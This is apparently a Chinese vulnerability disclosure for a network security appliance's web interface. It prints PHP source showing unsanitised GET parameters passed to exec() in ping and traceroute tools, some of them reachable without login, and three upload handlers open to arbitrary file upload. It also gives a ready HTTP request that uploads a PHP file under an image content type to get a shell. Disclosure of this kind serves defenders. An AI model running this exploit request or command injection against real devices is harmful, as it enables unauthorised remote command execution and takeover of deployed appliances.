两处任意命令执行无需登录:
第一处:
```
if(key_exists("text_target", $_GET)
&& key_exists("text_pingcount", $_GET)
&& key_exists("text_packetsize", $_GET))
{
$text_target = $_GET["text_target"];
$text_pingcount = $_GET["text_pingcount"];
$text_packetsize = $_GET["text_packetsize"];
$pingcmd = sprintf("ping %s -c %s -s %s", $text_target, $text_pingcount, $text_packetsize);
exec($pingcmd, $lines);
```
/view/systemConfig/systemTool/ping/ping.php
第二处:
```
$text_target = $_GET["text_target"];
$text_ageout = $_GET["text_ageout"];
$text_minttl = $_GET["text_minttl"];
$text_maxttl = $_GET["text_maxttl"];
$traceroutecmd = sprintf("traceroute %s -f %s -m %s -w %s -q 1", $text_target, $text_minttl, $text_maxttl, $text_ageout);
exec($traceroutecmd, $lines);
$rettraceroutecmd .= _gettext("testing_wait").chr(10).chr(10);
```
/view/systemConfig/systemTool/traceRoute/traceroute.php
利用方式同上。
两处命令执行需登录:
第一处:/view/IPV6/ipv6networktool/ping/ping.php
```
if(key_exists("text_target", $_GET)
&& key_exists("text_pingcount", $_GET)
&& key_exists("text_packetsize", $_GET))
{
$text_target6 = $_GET["text_target"];
$text_pingcount6 = $_GET["text_pingcount"];
$text_packetsize6 = $_GET["text_packetsize"];
$pingcmd = sprintf("ping -c %s -s %s %s", $text_pingcount6, $text_packetsize6, $text_target6);
exec($pingcmd, $lines);
$retpingcmd6 .= _gettext("testing_wait").chr(10).chr(10);
```
第二处:
/view/IPV6/ipv6networktool/traceroute/traceroute.php
```
$text_target = $_GET["text_target"];
$text_ageout = $_GET["text_ageout"];
$text_minttl = $_GET["text_minttl"];
$text_maxttl = $_GET["text_maxttl"];
$traceroutecmd = sprintf("traceroute6 -6 -f %s -m %s -w %s %s", $text_minttl, $text_maxttl, $text_ageout, $text_target);
exec($traceroutecmd, $lines);
$rettraceroutecmd .= _gettext("testing_wait").chr(10).chr(10);
```
三处任意文件上传getshell需登录:
第一处:
\view\userAuthentication\userDefined\upload.php
```
<?php
$page_name = 'AuthenticationOptions';
include_once($_SERVER["DOCUMENT_ROOT"]."/authenticed_writable.php");//身份认证
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://**.**.**.**/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://**.**.**.**/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link href="/css/skin.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="/js/prototype.js"></script>
<script type="text/javascript" src="/js/base.js"></script>
</head>
<body>
<?php
function upload($file,$dir,$name)
{
$max_size=1024000; //500 KB
$max_w = 8800; //最大宽度800像素
$max_h = 8600; //最大高度600像素
$min_w = 10; //最小宽度400像素
$min_h = 10; //最小高度300像素
if($dir) //如果路径不是以"/"结尾则加上"/"
{ if(substr($dir,-1)!="/")
$dir=$dir."/";
}
if($name=="")
$name=$_FILES["$file"][name];
$len=strrpos($name,"."); //取得主文件名长度
if(!$len)
$len=strlen($name);
$name=substr($name,0,$len); //取得主文件名
//添加扩展名
if($_FILES["$file"][type]=="image/gif")
$name=$name.".gif";
if($_FILES["$file"][type]=="image/pjpeg")
$name=$name.".jpg";
if($_FILES["$file"][type]=="image/jpeg")
$name=$name.".jpg";
if($_FILES["$file"][type]=="image/x-png")
$name=$name.".png";
//检查上传过程中是否出现错误
if($_FILES["$file"][error]) //当发生错误时
{
if(($_FILES["$file"][error]==1)||($_FILES["$file"][error]==2))
$info=_gettext('uploadFail');
if($_FILES["$file"][error] ==3)
$info=_gettext('uploadFail');
if($_FILES["$file"][error] ==4)
$info=_gettext('uploadFail');
if($_FILES["$file"][error] ==5)
$info=_gettext('uploadFail');
}
else //当上传成功时
{
if(($_FILES["$file"][type]=="image/gif")||($_FILES["$file"][type]=="image/pjpeg")||($_FILES["$file"][type]=="image/x-png")||($_FILES["$file"][type]=="image/jpeg")) //是合法的文件类型时
{
if($_FILES["$file"][size]<=$max_size) //检查文件大小
{
$size=GetImageSize($_FILES["$file"][tmp_name]);
if(($size[0]<=$max_w)&&($size[0]>=$min_w)&&($size[1]<=$max_h)&&($size[1]>=$min_h)) //检查图片的长宽
{
//复制文件到指定位置。
copy($_FILES["$file"][tmp_name],$dir.$name); //复制文件,并改名
if(file_exists($dir.$name)) //检查是否上传成功
{
$cmd = "mkdir /home/config/default/Image/";
exec($cmd);
copy($_FILES["$file"][tmp_name],"/home/config/default/Image/".$name); //复制文件,并改名
$info=_gettext('uploadSuccess');
}
else
$info=_gettext('uploadFail');
}
else //图片尺寸不合适时
{
$info=_gettext('uploadFail_image_size_error');
}
}
else //文件超出限制时
{
$info=_gettext('uploadFail_file_too_big');
}
}
else //文件类型非法时
{
$info=_gettext('uploadFail_file_type_error');
}
}
return "$info";
}
$info = upload("upImage","/var/www/auth/images/","")
?>
<script language="javascript" type="text/javascript">
alert("<?php echo $info;?>");
window.location.href="list.php";
</script>
</body></html>
```
第二处:
\view\systemObject\certificateAdmin\sslLib\upload.php
```
<?php
$page_name = 'm_certification';
include_once($_SERVER["DOCUMENT_ROOT"]."/authenticed_writable.php");//ʭ·ވЖ¤
//include_once("E:/ag380-wp/page/nm/model/common_fun.php");
$certDir = '/usr/local/squid/var/temp/';
$result = -1;
function upload(&$errorInfo)
{
global $certDir;
global $result;
$upfilename = 'file';
$file = $_FILES[$upfilename];
if($_FILES[$upfilename]['error'] != 0)
{
$errorInfo = _gettext('fail').'('.$_FILES[$upfilename]['error'].')';
return false;
}
$tmp_name=$file["tmp_name"];
if(!is_uploaded_file($tmp_name))
{
$errorInfo = _gettext('tmp file error');
return false;
}
$destination = $certDir.$file["name"];
if(!file_exists($certDir))
mkdir($certDir);
if(!move_uploaded_file ($tmp_name, $destination))
{
$errorInfo = _gettext('movefail');
return false;
}
$result = load_ssl_certs($destination);
eturn true;
}
if($_REQUEST)
{
foreach ($_REQUEST as $key=>&$value)
{
if(!is_array($value))
$value = stripslashes((trim($value)));
}
}
if ( $_FILES['file']['name']!= '')
{
upload($reMsg);
$reMsg1 ="error";
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://**.**.**.**/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://**.**.**.**/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Ϟ±덢τµµ</title>
<link href="/css/skin.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="/js/prototype.js"></script>
<script type="text/javascript" src="/js/base.js"></script>
<script type="text/javascript">
<?php
if( $result != 0 )
echo "alert('".$reMsg1."!');";
?>
location.href = 'list.php';
</script>
</head>
<body>
</body>
</html>
```
上面两处利用方式:
```
POST /view/systemObject/certificateAdmin/sslLib/upload.php HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Type: multipart/form-data; boundary=---------------------------7e0313222035c
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
Host: **.**.**.**:9090
Content-Length: 203
Pragma: no-cache
Cookie: PHPSESSID=
Connection: close
-----------------------------7e0313222035c
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/jpeg
test
-----------------------------7e0313222035c--
```
第三处:
/view/fireWall/securityPolicy/upload.php
```
<?php
$page_name = 'm_secpolicy';
include_once($_SERVER["DOCUMENT_ROOT"]."/authenticed_writable.php");
require_once("../../../model/File.php");
print_r($_POST);
$upload = new UploadFile("/var/www/html/upload",'',2*1024);
$upload->run('security_policy_file');
print_r($upload->get_info());
?>
```
全部评论 (1)